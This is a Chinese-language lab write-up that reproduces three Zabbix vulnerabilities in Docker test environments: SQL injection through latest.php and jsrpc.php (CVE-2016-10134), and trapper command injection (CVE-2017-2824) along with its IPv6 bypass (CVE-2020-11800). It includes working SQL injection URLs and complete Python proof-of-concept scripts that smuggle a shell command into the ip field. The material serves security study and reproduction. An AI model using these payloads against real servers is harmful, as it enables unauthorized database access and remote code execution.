一、 CVE-2016-10134_ zabbix latest.php SQL注入漏洞
漏洞详情
zabbix是一款服务器监控软件，其由server、agent、web等模块组成，其中web模块由PHP编写，用来显示数据库中的结果。
运行环境
靶场：192.168.4.10_ubuntu
执行如下命令启动zabbix 3.0.3:
#docker-compose up -d
执行命令后，将启动数据库（mysql）、zabbix server、zabbix agent、zabbix web。如果内存稍小，可能会存在某个容器挂掉的情况，我们可以通过`docker-compose ps`查看容器状态，并通过`docker-compose start`来重新启动容器。
复现漏洞
访问`http://your-ip:8080`，用账号`guest`（密码为空）登录游客账户。
登录后，查看Cookie中的`zbx_sessionid`，复制后16位字符：
将这16个字符作为sid的值，访问`http://your-ip:8080/latest.php?output=ajax&sid=849cafc30fd8348b&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)`，可见成功注入：
这个漏洞也可以通过jsrpc.php触发，且无需登录：`http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)`：
使用环境自带POC验证
调试中发现不用用户名和密码也可以进行sql注入，实现细节见POC。
#python3 CVE-2016-10134.py -t 127.0.0.1:8080
二、 CVE-2017-2824_ Zabbix Server trapper命令注入漏洞
漏洞详情
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞，特定的数据包可造成命令注入，进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求，从而触发漏洞。
参考链接：
- https://talosintelligence.com/reports/TALOS-2017-0325
环境搭建
执行如下命令启动一个完整的Zabbix环境，包含Web端、Server端、1个Agent和Mysql数据库：
#docker-compose up -d
命令执行后，执行`docker-compose ps`查看容器是否全部成功启动，如果没有，可以尝试重新执行`docker-compose up -d`。
利用该漏洞，需要你服务端开启了自动注册功能，所以我们先以管理员的身份开启自动注册功能。使用账号密码`admin/zabbix`登录后台，进入Configuration->Actions，将Event source调整为Auto registration，然后点击Create action，创建一个Action，名字随意：
第三个标签页，创建一个Operation，type是“Add Host”：
保存。这样就开启了自动注册功能，攻击者可以将自己的服务器注册为Agent。
漏洞复现
使用这个简单的POC来复现漏洞：
```python
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
```
这个POC比较初级，请多执行几次，当查看到如下结果时，则说明命令执行成功：
进入server容器，可见`/tmp/success`已成功创建：
三、 CVE-2020-11800_Zabbix Server trapper命令注入漏洞
漏洞详情
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client 架构。在[CVE-2017-2824][1]中，其Server端 trapper command 功能存在一处代码执行漏洞，而修复补丁并不完善，导致可以利用IPv6进行绕过，注入任意命令。
参考链接：
- https://xz.aliyun.com/t/8991
环境搭建
执行如下命令启动一个完整的Zabbix环境，包含Web端、Server端、1个Agent和Mysql数据库：
#docker-compose up -d
命令执行后，执行`docker-compose ps`查看容器是否全部成功启动，如果没有，可以尝试重新执行`docker-compose up -d`。
利用该漏洞，需要你服务端开启了自动注册功能，开启方法请参考[CVE-2017-2824][1]。
漏洞复现
修改[CVE-2017-2824][1]的POC中的IP字段，构造新的POC：
```python
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
```
当查看到如下结果时，则说明命令执行成功：
进入server容器，可见`/tmp/success2`已成功创建：
